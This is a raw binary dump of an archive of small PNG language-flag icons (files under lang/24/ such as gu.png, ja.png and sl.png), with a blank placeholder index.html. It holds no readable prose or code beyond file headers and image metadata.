-��R)A�h@P6,@�+$��!�����B @��R��"�P*%����8;v�ؾ��M�H��"Y0�{ϝ��;���Z��$�l� �5������)G�Nƞ��\���{�jp�)״u.	�LЖ�=-��+,�����	XQ��e���S5.�j�)i�|1w>�%wc�3�C9n�%1X>o&���'5�X@��c��x֐S򪰂jQ;�|��cI�[fQ�������&>OD�WG�(��qP����Z�/ȕ�
�6�+g8�1Aq���oocd��-�w�b��)�+��suHi�K�pP�,(�Y(-�)XԒ��"w�O��-�H���^����tL�70��n�|�k�q���#|�w+Sy?A���֪��b�X [\�h�{�L�s�e�ڷG�
(�n���IFGH���w	G���:���I����d�ī�y��@�C����ik$X��t/��"�I:45�]����cyN��cb�k�R_��#ے�m���N&RT�H)R���6&ZU�H�-V!�fd�2xp7�r}O+�iPI��qm��bO5.kFPbp:Dϱ.�9q1iO�T�6��t�,J���t$U5.%���o��ğ����Qd<��?u�����Z�)-(��	m-GNo�.��6#��<~ߗ86Gq��bޒ��
Q_��}W/���5����xih3�Z|���m���M�Ռf�}'��Exn�_��&_������ʎ8�8N�}������F!_9kmuY��a$�X��B_"�@2�;�p�^�� �
9��r�og~j}
a�����BSZ� 1���qKd=�c���*i����o�i��ф�vi-�1�mj�AZ�v�NȺ*8=��@NIZ�pV��t��=e4*���ő���&��p�;A�@���I����_*������w��tDIEND�B`�lang/24/gu.png000064400000001121151721413460007032 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�lang/24/st.png000064400000003007151721413460007052 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:27847480909B11E0BBEDD27DD375BB10" xmpMM:InstanceID="xmp.iid:2784747F909B11E0BBEDD27DD375BB10" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75BB28C38B90E0118CC8CC8C2C94B540" stRef:documentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>r���IDATx��V�NA��
?jB ;����0jԗ��|�A�1$Ҁ���t�û��qv9K�$_n�2�};s��g��lX��\�b��5�g�[0�y�����q�'ss��2�m���Q��7��(7B	A��A5��
��k�|R���x�܍|
PjW	"��i�0ϳ!R���������4��m�6r]�3���e!ċ;Lf�!"��5]���sp��(�8oWGɑZ�
�v���>�r��1�;�@ɖ�f���@K�g9˼"Zf�F���"
��jK�����~?1��Ԣj�J%(KtP�P��L��8��J�N��!��8��t��?�H��^�L9�)��3�����3@g����a"�A�.I#M����FC�'�3�/���H�y�7mD��cB�c}�*��?�c�0y��:����r4u4ֿ���`�wQ�J6IEND�B`�lang/24/ja.png000064400000001301151721413460007011 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�FGIDATx���kA�?��d�����$zQ[$�"�
���P��A�"�'{����E"�xT���A�B���*TR ��	l�M6ݝ�T�b�Tb��/��̛��f�(!JXD�

�N��N��o)F�R�,�+�tYu���y��J��Xd�[���c���b��O ����e���P(@!��z��#14��2̋�K��թi��/a���"h|�O�!}�i+|��׋��B��xe�x���{[��_N��V��ԗJ���I���=T�n��w�ϞI���o$�HX.R�y��oOk��2�^��L˄Ż�[G@{�TB�0$��rټE�Ԛ��#���f\�����&i%�٬+���p���MF�� 5|���ֺY���}���B�@��5��+fyO3@bW�����" �W��@\zΝ'}�X�05왯T*b��䔼ٶS
*!s*-s�S
*!�zr�޺cl��<��r� �gg�<��{��}:F��:<����Y����n��+@�Z��Š$��q�L�B�5�R���N�
����m��\՛���SXP�Ө	���ߵ���IEND�B`�lang/24/index.html000064400000000054151721413460007712 0ustar00<html><body bgcolor="#FFFFFF"></body></html>lang/24/yo.png000064400000001006151721413460007050 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ͑�0�?��%��
�B
4��5@�*`��
�f��r��Il�pI��jwЎs�<�>}~ϲ���s̈9�.@f���kg�K���lbS���ջ[Wy���>�~�8gM�<��N�y���W��$Q���e��8���o��G��2>{�����l�M�UgPbN������Ei��������G�&���u����&��2U���U�VJL���if�ݰ��3X�3�#���
��.�u�����ؼ�2'�� �cnՂ#��~x_"��	̔�>�@�j���U@�H`�����M�	�v��Sb��M������jA�qmӬ�h�#��_��z�X�*�#��9��'�|�s	�:ڽC�&��ߟ*~
9_�9��fIEND�B`�lang/24/nl.png000064400000000725151721413460007041 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F[IDATx��J�@��I�V��(���ų ��_ʗ��y��-m�43�ik�q�s�&��f�g���gd�9�@�Y#C�2����/Ƀ�p��|���d�w����w�A��
U�
G,e)"l�TD~�l��淛y٠U	�MԊ�
�(WI��w<��_yE	���ZcE�E�w��6���	>����a�P�Fl������m/&$r}��@���B���f���No�p2�JC�w;9�����<�X؟�|
�j�)�T���4Gx�0���T`�"��L[M辠�t�e�ө1
��@�n��`�O�U�;A�Y#��r����{ܒ�o)6��IEND�B`�lang/24/da.png000064400000001123151721413460007005 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx���jA�5�bV=xA��kx���!�%�(�!��&�;������5����e���LU�W]]_w���M�ز��L�qL	@連����������n��������e�}�69��V��OSL,�*�-E���T����WDzv���`��[XQvF7a�ؾ�}�NQB�p<ZhQ$-c�}'w��>`�[.���w~.CC t��yZ@�(��k4��˴8�aê*.�G/r쯚Z�U�x%P�G|����kV@�fv�y�;��Ml�����|}�)K�k��}��ӿ<}>���a�1��~ҡ�cuԆ��ͰĀvއ���� u/�;"Q����P
�.�3|$���F@�u=)Bvx�F"����x ��l>��t6��7��in�<^G&�s�4o�{�8��������g4f���ӗ>IEND�B`�lang/24/mr.png000064400000001121151721413460007035 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jSA�s2��bRm�X�H��p#��,�
>��ڧ*>������qQ�R�$�I���;3�E{�M��f��͙�?3FUY%	+��;0� *�v-Pi��P)��뷛(���ϋ
��G����n�;�N�����gy��$7�����Ѭ�f�b�/Y48���v	�6:h�ձ%�ȸ�*΅��!��7˲S;Nf.�7���]�����d��s�(�� ��P��J�t�D��$7��,ԙ�����I��
~�»�[��I}��Ԧ]&�� c-.�h
e�t��n��r��������c����P}z�8��m������ht�T��gwg}y��ޠ�p9�_��ʤM��F�ϕ��	6�ʁ� &"��`����3b������M�4� (!?���?<��?�,
7lRȦP�������pxll�|��hkS�
$��U�߾�ͭ�=IEND�B`�lang/24/ig.png000064400000001006151721413460007020 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ͑�0�?��%��
�B
4��5@�*`��
�f��r��Il�pI��jwЎs�<�>}~ϲ���s̈9�.@f���kg�K���lbS���ջ[Wy���>�~�8gM�<��N�y���W��$Q���e��8���o��G��2>{�����l�M�UgPbN������Ei��������G�&���u����&��2U���U�VJL���if�ݰ��3X�3�#���
��.�u�����ؼ�2'�� �cnՂ#��~x_"��	̔�>�@�j���U@�H`�����M�	�v��Sb��M������jA�qmӬ�h�#��_��z�X�*�#��9��'�|�s	�:ڽC�&��ߟ*~
9_�9��fIEND�B`�lang/24/sk.png000064400000001656151721413460007051 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F4IDATx��M�E��]�3ff�YB�ٕO"^#�zu/�p�уBBL�Q�!�������H�^�0�!��
������LwU�󰝙�|hF���>(��x�~����0J���(�r�u;-b
�D�>��W���#����T��9��[��Aqn��H�Y\��J%�;F�qHS����L^����Q�^:�
�J1� ֢�����1��}3��]c�͸��N��N�&�y��1i�Ξ�G���xe��9C��Ug�"qL{Ð��IV۸�?x��7t3_���u'��h"�$	^�@saWoP��j�̣��B��1lt̀�Mg�K#��5�:ZQ�1npi��J%ʧO�޽��NR>����o����i{Kl��y}k�(������u~?x��WT/_f�אB�G>���w���x1ׯ6����9hm��Àc���˻�� ��i���y���c�~�֧��H?y1|[<���)a���eng�I�������MW�Ee����19���$���Oޟy�+o�)rA�ٍ5P�}�Ͽ�i��H2@(>�1}��:G �$��|q�$�?�g�O9ue���N�	.�Wa��<�.���!V
W�Ub<����V@kD�u ��Pݺ���2�1��8�B���E�p��C�Z�4ݭ�@�<L!� ���������7o�j�Qa����S�P�Q_C:k-�v-Kb��.���OE��4�d�
�m��
�:��ln��ޛT�����,�V��U&J�#�1�R;?���{GM��z��IEND�B`�lang/24/tg.png000064400000001070151721413460007034 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�n�@�������& Q�D��RAEK��+�:t<o@�����!D �6g�ٰ �.��fF3��6����˲�vN`�@�*�>z��X?���ϟ^�@a�cr���ͫ7�|jt]�gKPc��>�9��ئ��}��-��ݜ�u��H�k�����g���:MU���ϊ��}��
�%h	�-0����b~a� ��.I��5.;��5'��,���J�Z�����~z��-�k|~dI�N�~�����M�p���M�Q���zDd���H���=h$���H�G��	�"�����;�;��3Bq���!���d�fH�E("��B�	�x7�y�<y�?�T���@�-"�CI�(�$�"PAqdn6�VD�hd����oZ�ׁ���_67Z��kĊ@m�������-��,�IEND�B`�lang/24/jw.png000064400000000624151721413460007046 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�ܖ=N1���q R�	��kPp?
.�8�
d71!���	I�-�4��Ҍ�yO�IbH4��
p�W�����6U���ӵ��4L�慠o^^�p9%�n��I�����?��7��%9g�"y����P�P?�xzn��!4>C1B09E���W�9�b�(&Ҫ#��:����_�����:֐�ao�B@˖ܶ՚�d0�ޫ6���
PJ�*�fs\õP4��	N�A��b��&0n����[y��KWWD���?���P�7�nIEND�B`�lang/24/ne.png000064400000001775151721413460007040 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATxڴ�]lSe��~���Y�]L �AK 8CBB�]�F
^��I&Z�F�+���]ֹa1D�`�D%�7.���а�G(��9�mm�W���6��9��?99�<��?^I����B��	�5}�ɇ��W�B�NW�N&���^����d�{�ⅶ�@7�l<�X�yi Q�v��5�=�,��i&���)�Km��E�����s
���ͧf3�����U�l�#��t���C���{��;.�K}fdT<n�4�
�)7P�����Y�D��L�&x��7��%�W�׏g�������Gq�nc�_=�uxWw]z�J�y���P͚��(sS��!iG'�ã�Z>FMa��lM]�����������>�+زy��H��,IҢ�O}�:~]���N+��A;a��񩷌�%�~��5�vw���8�m:�n��� �H�M�8�\���[��`s�5/���` Xy	�cX}�d%[䇄D��s:��V��#+6{���"�i��pDN,NN��y-*�l�_���lC��rb�T���n���XW��ql_��
s�` -�0g_v���vS��]�͸�x
��A���3�_\Q���$��	���nQie���>�H�B��X�a1x�(^&�~�9���P8�������ƶt�_�����Y�,C���Үk;7V�?(sRi�S���V2���,AD����خ�[oE2��Tc��5�������)�h�l�D�%��
�=
L�~�A��E�DFE3;�v�%x�Y��u���g{o�L�浨P�x-�0�Fƿ
�0��KdqK&mj'ˣWvVU�Lw%�����H����!!D6���y`[�0�'0 ��;��p�S�	��̤����U��p�IEND�B`�lang/24/zh-TW.png000064400000001151151721413460007373 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ�jTA��>}r1�C��".T|7Y��1|0���)ԥ�U@�@aL2s�sNuu��I&Qĉ�YX��M�W�����Xd$,8p@
�K�-�86^�޿� �8�����Ȉ����?��J�u���]4���2wח��Ɓ�|
��;��܇�?��@4R���<��ƓG[��|=:��GEU�D����M���ll��iHS���
�����6ϟnЊ��xHQ$������%,�6Q%��ͱ�N2Z�T�P�>�E1�{�u@JV4����/}���i���9Y)�$X���&Y��d���[e�7\�j|�Q1��t��Df��FÒ�l(ʆ��,��S�����e�/���ΙK@Q�++3���(L�VV4��M�
�#�L�`"D�U�S�])p��.F��5!���(běF#MH�ֺ�a�W�A9�>��&�˞�S�z�.p��3N.'��e�:�4�U���g�0u�IEND�B`�lang/24/haw.png000064400000001244151721413460007204 0ustar00�PNG


IHDR�w=�sRGB���gAMA���a	pHYs��k���tEXtSoftwarepaint.net 4.0.12Ck�IDATHK��_HSQ�o�sT�P�C�kQ�C�)��%f��&���MFD 斖:l�wsm6�=,�H�;�3�
Lqk+_����{Y=�y�½>/��w���UqC%qC%qC%�d�?8��ME��Mݳ��ZS�����'������ѧ�B�\4g���:aw-`_��SX>P���K,�=��}^-|b$�h�6`C߁d�3�����V��Ƚ~]��j�>ݓ-o��	L[�@�]��E���Ȍ��H�cd"�Xa��/�:�\.Z*����������pN����(�ޓ�7H���ʾ8��H~{f7
 ����0�p�
N����f����iI�D��o�ޘpO?���A����^���h�m�;El��u{s��s!oQ�R��8}-G�%�KZ���ź|V��F$M�4>���;V�5�!�1Ws���ʛ0RV�-�y�|Z<P-t�!u�X3�BE�4��JqN-�c�@-�&���7\�EB���נ*����B-ܟ����������r@�u�#�S��3IEND�B`�lang/24/sl.png000064400000001332151721413460007041 0ustar00�PNG


IHDR  szz�	pHYs�� cHRMz%������u0�`:�o�_�F`IDATx�엻kQ��{wv׍��V�h0(ha�66�����b'b�M���UD�:QQ| ��R�D,4f�}��DZp7�0I�u��43sg�|s~�8W��̀�?�@�y�3������ڦ��*0���T�����C�ҷ"˅*;Ƈ�̏�I��U���t���e떈���i�6��'!;�����J��bcc=?�C��2��9׮@�$j�Anb
�P|Z\b�7@|����M>��V7�=�o�z����!"�9}����q��6�t(��W)l�)W"ʕ� ��7���3�͏�Rl0�+�ѩ1n>�Ҵ0�3h���ܳ����S�F���!��E��y��c��›�|x����I�_7�F��YOd}Ojƴ�5<��	g�?��P��}�������=����=�E��`��<3���C��/��4���gq��}�K�s���+��?[�9���[�Y5
��V�r�J ��i<�X�x�|��E��T
�5�-o-A�mv�A�Y�}[蘢�S8�A�ؒ�T7�A��:iV@g��K��R)�Y��mN9�0�<����C����(����A��#*��vIEND�B`�lang/24/sw.png000064400000001733151721413460007061 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FaIDATx�ԖMhTW�w��31&"�R֑�Q�6cZ����E(:�`��UM�n*���)
�Z
�v�P�6����ֈ��5���X��Ǜ���GO33��d�ws�9������+�1̦�e�uX�\ 4��������w��у�J��,;�1z9�ǟ��Ś����Z��g�>����45�y�n�K��s��k.���`)�)(I���`�^��~^
�ÊWǩw�p��0<�c|��(����d)/���Z$�0C��Qn���L�>⭄��S~�QJ�u�d�!�F�W�Y_5��g�W�,���Zp��G�@*E�sȸN��#-W�y{��oN�A��x%�c���w �5r�X�},�@KR�T	�F��A�[6F����]�Ͼ�+�_{�H����V�9����+xJ��r�]��� ��2L379�G����5հ��?��Ź:���R�D ��$�,i7DlA���A�cl�e��O%x��>"�6�L�8�T"w`R�\"s(��#oi7@b�-v����d8x�7jG'tvV��/��&)��H�q�*����'�~�
Od��HH~�P	������l�"���]a�����{)
4�˩M���^'��������6MߙM��б�+����rh��ڔ-�4�'��]����N�
�->�[���}�%zX�e^�=Jm�LI��C#�u�El%�tC�&���5;W|��*e�+��mO)��:��p��6�x������
��x���ojU�`_��u�"����Ł%`��G�	���8I`�D�O��
����oq���w\�IEND�B`�lang/24/mg.png000064400000000671151721413460007033 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F?IDATx�Ԗ=N�@��5baD�A�\"���
4t��P��?B�GAN��I
���o�����Y'�}FĞc��@4v�{L<p,�m�۹��p~w{恤_]�J>y|H<�%����+L���cl�3�~�F0�8�S����8Di
s�)��F��#�Q���:�A����y��aua�Y9���j�%�\wڕ	Z̈́���p�7Aѿ����4X�ոmS.�r%2j(PӖ
4w3gm�P��@���FX�"�#W�A�_�g��z���`��Lp@�Nw<pށ��Dk.ʵ�H�O��__p�l�*��IEND�B`�lang/24/ny.png000064400000001151151721413460007050 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<IDATx��V��1=�ؓ�Y�
� ł�OD�Zz~�O�H��f����E4���$��8���eŤ�FG�s=�ܧ'"��c�đ���PD���6�M4~:�L~eYvЋ!�HfhX�2x,���0L��a$H)1���ix�i~�4���a|s����fqDe�E�4(�a�q��R���(*�(��'�8��=�~X�:��@�ٳ�9�O�*�9��b�Ю����q�4^���F�Px�,��.���4��v׹�5&}O������Sk4�dD�.1��=&��5
kvt�~G�o	�>x�{B��|7������N!�>'i�>�� _^��h��t	�\m#p$����h�<�3������y'�Z�"Ţx��s>�Jn	�upE�M_�y���P����G�bG\�_ρw^2���к����Z����[s`�����᷆��]${���]��H)�<Q�NRo��]��e8�\�}c��G��������IW��Ј��_�oK���db�eIEND�B`�lang/24/tr.png000064400000001446151721413460007056 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F�IDATx�Ԗ=OQ��{��ΆE�@!�҄��5vDC�V�~��$�BKeBBBCaCG�Ѩ�"�q��ٹ�bf�0K�I&���{>�w�{F��i�k�k/�ԁx��-�`�97��PI2�
���7
�@k��k��%�nm4`B����D@)AB�֥��T���{�����, ��]�v�X���7n���N�����F��1�T#�#�!ϡ(�&&��%��!���ϟ�����ݽZ�("�/�÷�H�C46���"��$���d�sD��(�JC�K�Z@Ҕ�j1��y�|c���;��Q����F�ڽ{�/_��+X/~�
��D�"i
EA��>�:!��"H��8���#���[[�,-��gD�'P�"�9�? ϑ��b�G
��B@%uB���)
�>8��ҝ�Ҕ��b�#d�����>d��S��(BEb�t޿�~����C'	�j�y�?Qp��02�^^f��F^�&���^YA��LO#i�?>���Y�iP�$��9�T��:����+/^�mn2�����5�߼%�s�j!"�|�F�r�KO�py�}��z��#?_��LM�GF�GG�VU����_7h�*��gq"��h6Q��q�UMr6Aսn4sӉ U���{~�9:��o�F��؀���������9������?��+n0VIEND�B`�lang/24/mn.png000064400000001232151721413460007034 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�F IDATx�Ԗ�n�@������(DE�A
5o@�;@� *
J(i�x�� !!H�?!$��ٹ���P8�89ǧHI�6k�g��ov�kgf��J8�u��@h�p�S�|���M��żz��1ˣ�O�|���ͥ�q��s�n����F�Qq�fR ��(�^3�9Ǹ�6G�b��M���O�nL�.���BD��s���ݞ�(�F��6k�0)�R���9�e�[Y�{�;��˲I[��q0 �ޣsG�nJ��Sq0�x�F9H:=—�����g
�����Y{��Z���+Ͽ��$eG��Yx���Oh
��0�(P	�*�o>�%�߄���S4OS�[[��iWH��I���"��Ӿ�ZsFQ�ERU�HX�˦lw=��;>@"�B�C"��!+�idZ~��3�((VQ��4��.����k�N����pҝj���r.w;V�l,ӊ��#9wv"�훯��̰ʠ�(†Hm���kl��]�9�p�/�-`u|����:�%������4�.�_HIEND�B`�lang/24/mi.png000064400000001710151721413460007030 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FNIDATx�Ԗ�k\U��s��Lf��f2�4��dl��&��A���Rlp�@7"h)����(
�M�-q���(�T҄ڙ6i2���ܙ{�9.�#��0�d�9p�s��u�֚�4�}�}�|�g�};�m�[?�NN>Ϭ��'����d?������Z��1��/r��8W>��0=}��>^���b"��t
��@)���Q���`n�~Yfbb�#�o�X����=�D|�zk˸���:=k	"�Q���d���&_��A���4�}~<*HV35�p؏������S��Y���0,/���@4Q����>�z���ؠ�S>Y����*����u4���sc���K*i�^���7����}��A��as�a�?��P{.�\�H�TC`z�fu��k+\�0�h���
�#���2��EE�8a<a��C��h��
��VT����J���M�
Gn��g�'9S^櫫�\�!��<]v���o�s�o�����/Q(�D}��gM�e�B�B�Tes�ʐ��@��.ו�>����|��
9;�h���������'Y<�-���¥�@��Lf��:|�V$���ί�}�%f5����b+���Ju6��]��_���u�I)q]���PJth�t�Bm��8�=�R��G�?H>W�EѨ ���Z�:G*N�C�2Y��s�Q��l�H"��5@I���S�2���}�	R��F�Rb���nO�ru�l��c��ﴆ�Y����Y�ޠ�@k�p��HYj�fF��"A��Ke��-v3�B�3@x�NH67��)��T��W���ދ��IEND�B`�lang/24/gd.png000064400000002210151721413460007011 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ[lTU��=眙-ҙV`��4�P.�
�&��V�F%^���py ���b��^1^/��`+��J
m�az�����Lg�̜}�a�iEc�������ֿ�:B)ŭ4��n9�t����m�*��Y�r�T'G�A:.���74�	A}�|��W����/��R�w±w8ũ��F�h�!�?+�p�KI�Ɇ�A�s
&�#����ӑ�Yf� +]�k��̥l�b�!ȯY���<�[>���AL�䫣c��R�s����zu�w��@9s&�x�DZ��$��$����Jn󱵾�kLo덳�0�`���x�x��E<���@�����j\Ɖ�~�i�&�q0
�ZHCu�>)��d�Cg�h�D��$�%�u8���OmClް���r���5!V��8p��l���%��i�8{y��'�`h$MI`&���tI�l,ǥg(�K���~�5�5,%T<3��9��D�)
�Y�}���-����<$R6R:��t��m�i;��ۦ�\�ن2��]�`���x�H;��^SG8��AxYg
A�q�JKf�YK�KXĬJt(f�ٟ ��s�E)Ss��ȖH<���vNơvM��O�f������xb�7�S�z>/|r�����&��B*9ًlGḊTҦЫ����z�v���$�����{O����gqxϽ��}-��T��q����PTP��L�jB|�sV���t����h�!20ơ�1�:���<9ǪE~�s5���{������^���ȋO�e��_��|�܏����C#��$�T��-�T-�O��uS7/�D�;��
 ���H���C�vx�h;��he4�Ŝ��m�-KR8�`�#��|���)�|���9�����ߟ���H�=5s��At�@����`�mV--a��5T��zQ4J (�����>[��?��':H[��Q�C�`�LHZVF��jl�+cWc�W���8$��B��&��31�|5qM��s�籁�uHqIEND�B`�lang/24/lo.png000064400000001320151721413460007032 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FVIDATx�ԖKkQ���Ĥ$m�e1RD)E"�ݸ������W.�t�Z�n*V,D�j_`kf�t2�/i�N&�M8�Ù{����w�s�a�d�4t���[-(m?x�Wx^��O�y=�E!%�;�3o}X(��/�B�cl�s Dg��I}��+w[CZ
�ZYt3�G'eq笜�e��\��N
�B�>sb��l
�wP��T!�;��F����,�4��8P�6�G����2])�x�.W*e~�6x����Cȧ�Cz�w	`�!l�i"bgx��f`vr����0��h��V�4EJ�FDx'"q�a~n��'RQV�Ƙ��J
Q�'��ʰ�נ��"M�:qn+�#�v�HrF�f���4EJk����V�٨�����e�ɔ�Җ�2g8�cE����Yz��f��}����e��a���3���K�V
+Κt.H�6����k�H!x�����0�������յ�7j�l��l��
>�����
!����% �crR���6mr�L�b�(H	�Rf�]lO�@m8�f�@���ׁ_�-�MW���X���I�J�}^jIEND�B`�lang/24/km.png000064400000001345151721413460007036 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FkIDATx�Ԗ;oA�{�>�B�$�����$�
D�� *���&��HH4���(L�u����P���I��#�������w{JD��xLX&�
�ܘ}�@OS+��յ?��7OC
�}_�to~���5�S+�b�~��J2t�d�
D2=���t�@kg,Q7&�%�F�����{�]�SXӷ�o��)���5'YC���7�C�#����H������\���m�N\����ƶ[�K�]��];�]ΚCb�l!�H$zq�ң$�Hk5��*�ß�E��P|����%��1rN���Xk��H��k6G��jܾE^kD,����Q��;��3�SY����_�r�nm�M�cT!�tc$I�*��.��I67In������b`R��˲�(ܽC��f���ET1��7�Z�s!��Y\m���$��]_G�,��`o���?`z�	�icw����p{��}qS�
�"��VQA@��Z�XD
�@R�A\�v�j��Z��.v��N���LjW��'cg����>@j_a�x��
�5{?���Ҹ&�ź�2MScP�5��&U@����}���E��k�b�X����Fxj�NIEND�B`�lang/24/en-us.png000064400000001220151721413460007446 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�Ԗ?Ha���\jK��СC�I(�H���H%��@!��Y�ť�[K��S!�!��AK	��`�D��S���Ыפg�|]��X����q����}���tR2V�H�\�>�6���s��?��̋�^�on���P��,K�̌R.%��{)^�[����!	P''󕡡�h���#R��&ww�H&�/��$��}�@�,�}
�e	#��I����ͭ�/�x��u��tS?8���m[�J�$��ll|"��$�0�֫W��	,�ad�>++�f㬮zs}}���^zZdY�ج���d�
{LL<�$�ɓ\k�z{�?q�4m����o���۲Z=îV[?��8�[ej:=/R�y���/b������D;�!Ui�555��B���1K�\Zz�q$�QEaκ�4G�:<���8
���;�����	������T]ׅ��uݵ�[|]���L�p��$�>�Rǟ9j��X��i�[�iZ�"�r{��ԑ�Ɣ�^�p���q�F�j�����s���3]^����IEND�B`�lang/24/la.png000064400000001174151721413460007023 0ustar00�PNG


IHDR�w=�	pHYs�� cHRMz%������u0�`:�o�_�FIDATx�ԖOkSA���佗��6���.�KEA���P~��Ņ��"(�%J�B���6yo�^Ii�����f1�0�3s���l260����s`h����E��w�%�}�|�ƴ,P�����x�z0�,��*t2t��N�hfy'����ă���g1��5�`����dAN�y���Ჟ�xcl�x���(d�`���"��>��Cv	l�(�gD*�t���]��b��op�6C��$
���DDf%B��(Ȁ肁o��K	��#,�H���~U"/�w@�K3h��@�O�������Ԯ= �I�0�&�$�&�Y���Q����Ǐ9�G*Ɉz�~I"�Qd1�eBaB�����=��7��;��L�qU"Q"���\��'D��Z!�����B�2�ΑHŁ�q�,�!&lQj8���V�Ņ6�Yݎ�%�{��*�
���ڼz W��~��.ޅ0q��RO0@�	l�����yG���Zc8`d��_���ps�3IEND�B`�lang/24/ht.png000064400000003252151721413460007041 0ustar00�PNG


IHDR�w=�tEXtSoftwareAdobe ImageReadyq�e<�iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpRights="http://ns.adobe.com/xap/1.0/rights/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpRights:Marked="False" xmpMM:OriginalDocumentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319" xmpMM:DocumentID="xmp.did:64FD6DB3723C11E28410E0CA6E5260B0" xmpMM:InstanceID="xmp.iid:64FD6DB2723C11E28410E0CA6E5260B0" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4E4ED459379DE01197678DC80A35758B" stRef:documentID="adobe:docid:photoshop:ce57512a-0dda-11dc-983c-b208d23bf319"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>����iIDATx��V;oA����3"QBH�$J�4i���GPP���Ёhi�DA$���
��x 1D(��v��}1{~�}n@炑F���;��̷�Ǵ֘�X�����:�>���oNz`���~ݰ���x~�(Xõ��3u���n��F� �!3���546
urjb�_`�����8Rjt�E�Y��Z\�����>�z
̜ғ��ѻ)qF$L��]���g��Pd�]�(�*�%j�|'<۱�A[K��/{!N\\�;�n�X�r��~���Oట�t�s�Dz-*t�����+8{��O?@�gN�B�t[��`v%���=XQw��|	���l�S�E����ǵX/���.^���m\��'XNGP)Ax..�DM��wR�K��֛u4*9�R�:�'x���|��.[(�4� �6�� u�[��9x_X}����R\ԡ<��|����m+=�E�b@E�N"���I4�5�}�/�!Y7)!Y��Z(��j��`'�[���Ə������P1@����P_�R��"����m���ɓ���G�BZ�:h�~�h�0]��Q����?*�^���IEND�B`�lang/24/eu.png000064400000001713151721413460007037 0ustar00�PNG


